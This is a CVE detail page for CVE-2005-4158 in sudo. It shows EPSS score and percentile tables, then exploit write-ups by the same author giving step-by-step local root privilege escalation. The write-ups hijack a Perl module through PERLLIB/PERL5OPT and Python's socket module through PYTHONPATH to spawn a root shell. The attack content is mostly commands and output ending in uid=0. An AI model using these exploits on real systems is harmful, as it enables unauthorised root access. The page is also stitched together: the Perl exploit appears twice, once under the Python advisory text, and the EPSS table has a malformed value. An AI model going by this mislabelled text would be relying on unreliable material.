CVE-2005-4158 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	3.22%	–	–
2022-02-13	–	–	3.22%	–	–
2022-04-03	–	–	3.22%	–	–
2022-09-18	–	–	3.22%	–	–
2023-03-12	–	–	–	0.06%	–
2023-05-07	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.79%
2025-03-30	–	–	–	–	0.8%
2025-04-15	–	–	–	–	0.8%
2025-04-16	–	–	–	–	0.69%
2025-04-23	–	–	–	–	0.51%
2025-04-23	–	–	–	–	0.51,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	65%
2022-02-13	66%
2022-04-03	83%
2022-09-18	84%
2023-03-12	23%
2023-05-07	–
2024-06-02	–
2025-01-19	–
2025-03-18	72%
2025-03-30	72%
2025-04-15	73%
2025-04-16	7%
2025-04-23	65%
2025-04-23	65%

source: https://www.securityfocus.com/bid/16184/info Sudo is prone to a security-bypass vulnerability that could lead to arbitrary code execution. This issue is due to an error in the application when handling environment variables. A local attacker with the ability to run Python scripts can exploit this vulnerability to gain access to an interactive Python prompt. That attacker may then execute arbitrary code with elevated privileges, facilitating the complete compromise of affected computers. An attacker must have the ability to run Python scripts through Sudo to exploit this vulnerability. This issue is similar to BID 15394 (Sudo Perl Environment Variable Handling Security Bypass Vulnerability). ## Sudo local root exploit ## ## vuln versions : sudo < 1.6.8p12 ## adv : https://www.securityfocus.com/bid/15394 ## adv : http://www.frsirt.com/bulletins/2642 ##by breno - breno@kalangolinux.org ## You need execute access to perl script in sudo ## ## cat /etc/sudoers ## breno ALL=(ALL) /home/breno/code.pl ## Now let's create your own perl module FTP.pm :) good name. breno ~ $ -> mkdir modules breno ~ $ -> mkdir FTP breno ~/modules $ -> ls FTP breno ~/modules $ -> cd FTP breno ~/modules/FTP $ -> h2xs -AXc -n FTP Defaulting to backwards compatibility with perl 5.8.7 If you intend this module to be compatible with earlier perl versions, please specify a minimum perl version with the -b option. Writing FTP/lib/FTP.pm Writing FTP/Makefile.PL Writing FTP/README Writing FTP/t/FTP.t Writing FTP/Changes Writing FTP/MANIFEST breno ~/modules/FTP $ -> breno ~/modules/FTP/FTP $ -> perl Makefile.PL Checking if your kit is complete... Looks good Writing Makefile for FTP breno ~/modules/FTP/FTP $ -> make cp lib/FTP.pm blib/lib/FTP.pm Manifying blib/man3/FTP.3pm breno ~/modules/FTP/FTP $ -> make test PERL_DL_NONLAZY=1 /usr/bin/perl "-MExtUtils::Command::MM" "-e" "test_harness(0, 'blib/lib', 'blib/arch')" t/*.t t/FTP....ok All tests successful. Files=1, Tests=1, 0 wallclock secs ( 0.03 cusr + 0.01 csys = 0.04 CPU) breno ~/modules/FTP/FTP $ -> #Now i deleted the default FTP.pm (it was ugly), and create my beautiful module breno ~/modules/FTP/FTP/blib/lib $ -> vi FTP.pm package FTP; use strict; use vars qw($VERSION); $VERSION = '0.01'; sub new { my $package = shift; return bless({}, $package); } sub verbose { my $self = shift; system("/bin/bash"); if (@_) { $self->{'verbose'} = shift; } return $self->{'verbose'}; } sub hoot { my $self = shift; return "Don't pollute!" if $self->{'verbose'}; return; } 1; __END__ EOF # Remenber our super code.pl breno ~ $ -> vi code.pl #!/usr/bin/perl BEGIN { $| = 1; print "1..1\n"; } END {print "not ok 1\n" unless $loaded;} use FTP; $loaded = 1; print "ok 1\n"; my $obj = new FTP; $obj->verbose(1); my $result = $obj->hoot; print ($result eq "Don't pollute!" ? "ok 2\n" : "not ok 2\n"); $obj->verbose(0); my $result = $obj->hoot; print ($result eq "" ? "ok 3\n" : "not ok 3\n"); EOF # Now let's play with PERLLIB and PERL5OPT env. breno ~ $ -> export PERLLIB="/home/breno/modules/FTP/FTP/blib/lib/" breno ~ $ -> export PERL5OPT="-MFTP" # Now get Root!! :) breno ~ $ -> sudo ./code.pl Password: 1..1 ok 1 root ~ # -> id uid=0(root) gid=0(root) grupos=0(root) root ~ # ->

source: https://www.securityfocus.com/bid/16184/info Sudo is prone to a security-bypass vulnerability that could lead to arbitrary code execution. This issue is due to an error in the application when handling environment variables. A local attacker with the ability to run Python scripts can exploit this vulnerability to gain access to an interactive Python prompt. That attacker may then execute arbitrary code with elevated privileges, facilitating the complete compromise of affected computers. An attacker must have the ability to run Python scripts through Sudo to exploit this vulnerability. This issue is similar to BID 15394 (Sudo Perl Environment Variable Handling Security Bypass Vulnerability). ## Sudo local root escalation privilege ## ## vuln versions : sudo < 1.6.8p10 ## adv : https://www.securityfocus.com/bid/16184 ## by breno - breno at kalangolinux dot org ## You need sudo access execution for some python script ## ## First look sudoers file. User 'breno' can execute expl_python_sudo.py script breno ~ $ -> cat /etc/sudoers breno ALL=(ALL) /home/breno/expl_python_sudo.py ## Second, see our simple PoC python script breno ~ $ -> cat /home/breno/expl_python_sudo.py #!/usr/bin/python import sys import socket import os print "Python Sudo Exploit" exp = socket.socket(socket.AF_INET,socket.SOCK_STREAM) exp.close() breno ~ $ -> ## Sexy !! Do nothing :) ## Ok. What you need to do to get root is hijacking socket.py module , change close() function to execute something and ## change PYTHONPTAH env. breno ~ $ -> cp /usr/lib/python2.3/socket.py /home/breno/ breno ~ $ -> vi /home/breno/socket.py ... import os ... def close(self): os.execl("/bin/sh","/bin/ah"); self._sock = _closedsocket() self.send = self.recv = self.sendto = self.recvfrom = self._sock._dummy close.__doc__ = _realsocket.close.__doc__ ... ## Ok .. save it and export env breno ~ $ -> export PYTHONPATH=/home/breno ## .. and execute script. Too much sexy !!! breno ~ $ -> sudo /home/breno/expl_python_sudo.py Python Sudo Exploit root ~ # -> id uid=0(root) gid=0(root) grupos=0(root) root ~ # ->

source: https://www.securityfocus.com/bid/15394/info Sudo is prone to a security-bypass vulnerability that could lead to arbitrary code execution. This issue is due to an error in the application when handling the 'PERLLIB', 'PERL5LIB', and 'PERL5OPT' environment variables when tainting is ignored. An attacker can exploit this vulnerability to bypass security restrictions and include arbitrary library files. To exploit this vulnerability, an attacker must be able to run Perl scripts through Sudo. ## Sudo local root exploit ## ## vuln versions : sudo < 1.6.8p12 ## adv : https://www.securityfocus.com/bid/15394 ## adv : http://www.frsirt.com/bulletins/2642 ##by breno - breno@kalangolinux.org ## You need execute access to perl script in sudo ## ## cat /etc/sudoers ## breno ALL=(ALL) /home/breno/code.pl ## Now let's create your own perl module FTP.pm :) good name. breno ~ $ -> mkdir modules breno ~ $ -> mkdir FTP breno ~/modules $ -> ls FTP breno ~/modules $ -> cd FTP breno ~/modules/FTP $ -> h2xs -AXc -n FTP Defaulting to backwards compatibility with perl 5.8.7 If you intend this module to be compatible with earlier perl versions, please specify a minimum perl version with the -b option. Writing FTP/lib/FTP.pm Writing FTP/Makefile.PL Writing FTP/README Writing FTP/t/FTP.t Writing FTP/Changes Writing FTP/MANIFEST breno ~/modules/FTP $ -> breno ~/modules/FTP/FTP $ -> perl Makefile.PL Checking if your kit is complete... Looks good Writing Makefile for FTP breno ~/modules/FTP/FTP $ -> make cp lib/FTP.pm blib/lib/FTP.pm Manifying blib/man3/FTP.3pm breno ~/modules/FTP/FTP $ -> make test PERL_DL_NONLAZY=1 /usr/bin/perl "-MExtUtils::Command::MM" "-e" "test_harness(0, 'blib/lib', 'blib/arch')" t/*.t t/FTP....ok All tests successful. Files=1, Tests=1, 0 wallclock secs ( 0.03 cusr + 0.01 csys = 0.04 CPU) breno ~/modules/FTP/FTP $ -> #Now i deleted the default FTP.pm (it was ugly), and create my beautiful module breno ~/modules/FTP/FTP/blib/lib $ -> vi FTP.pm package FTP; use strict; use vars qw($VERSION); $VERSION = '0.01'; sub new { my $package = shift; return bless({}, $package); } sub verbose { my $self = shift; system("/bin/bash"); if (@_) { $self->{'verbose'} = shift; } return $self->{'verbose'}; } sub hoot { my $self = shift; return "Don't pollute!" if $self->{'verbose'}; return; } 1; __END__ EOF # Remenber our super code.pl breno ~ $ -> vi code.pl #!/usr/bin/perl BEGIN { $| = 1; print "1..1\n"; } END {print "not ok 1\n" unless $loaded;} use FTP; $loaded = 1; print "ok 1\n"; my $obj = new FTP; $obj->verbose(1); my $result = $obj->hoot; print ($result eq "Don't pollute!" ? "ok 2\n" : "not ok 2\n"); $obj->verbose(0); my $result = $obj->hoot; print ($result eq "" ? "ok 3\n" : "not ok 3\n"); EOF # Now let's play with PERLLIB and PERL5OPT env. breno ~ $ -> export PERLLIB="/home/breno/modules/FTP/FTP/blib/lib/" breno ~ $ -> export PERL5OPT="-MFTP" # Now get Root!! :) breno ~ $ -> sudo ./code.pl Password: 1..1 ok 1 root ~ # -> id uid=0(root) gid=0(root) grupos=0(root) root ~ # ->